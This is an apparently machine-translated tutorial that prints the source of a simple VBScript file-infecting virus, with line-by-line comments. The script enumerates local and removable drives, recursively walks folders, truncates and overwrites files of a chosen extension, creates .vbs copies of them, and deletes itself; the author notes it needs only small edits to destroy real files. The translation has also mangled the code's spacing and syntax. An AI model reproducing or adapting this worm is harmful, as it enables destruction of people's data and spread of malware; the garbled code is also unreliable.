Simple Example of vbs virus source code parsing

Note: The author Code Modified. This file is a complete Program . After the file is executed, all files that meet the conditions on the hard disk will be searched and overwritten forcibly (all files that meet the conditions will be lost) and create another file with the same file name. vbs file. Therefore, be sure to set up damage test conditions and never test others. Otherwise, all consequences will be borne by yourself. If your system does not support. vbs, you can change the suffix to. VBE.

Dim folder, FSO, Foldername, F, D, DC
Set FSO = Createobject ("scripting. FileSystemObject ")
Set Self = FSO. opentextfile (wscript. scriptfullname, 1)
Vbscopy = self. readall 'read the virus body for copying to a file
Self. Close
Set Dc = FSO. Drives
For each d in DC
If D. drivetype = 3 or D. drivetype = 2 then' check Disk Type
Wscript. Echo d' dialog box. The drive letter is displayed.
Scan (d)
End if
Next
Lsfile = wscript. scriptfullname 'path of the script program
Set lsfile = FSO. GetFile (lsfile)
Lsfile. Delete (true) 'after the virus is run, it is self-deleted (self-added by myself, the worm virus itself does not have this code)

Sub scan (Folder _)
On Error resume next
Set folder _ = FSO. getfolder (Folder _)
Set files = folder _. Files
For each file in files
EXT = FSO. getextensionname (File) 'get the file suffix
EXT = lcase (EXT) 'suffix to lowercase letters
If ext = "MP5" then', if the suffix is MP5, this file does not exist, but you can modify it yourself. Create a file with the corresponding suffix, preferably an abnormal suffix.
Set ap = FSO. opentextfile (file. Path, 2, true)
'Ap. Write vbscopy' overwrites the file, so use it with caution.
AP. Close
Set COP = FSO. GetFile (file. Path)
Cop. Copy (file. Path & ". vbs") 'to create another Virus File
'File. Delete (true) 'deletes the original file
End if
Next

Set subfolders = folder _. subfolders
For each subfolder in subfolders 'search for other directories
Scan (subfolder)
Next

End sub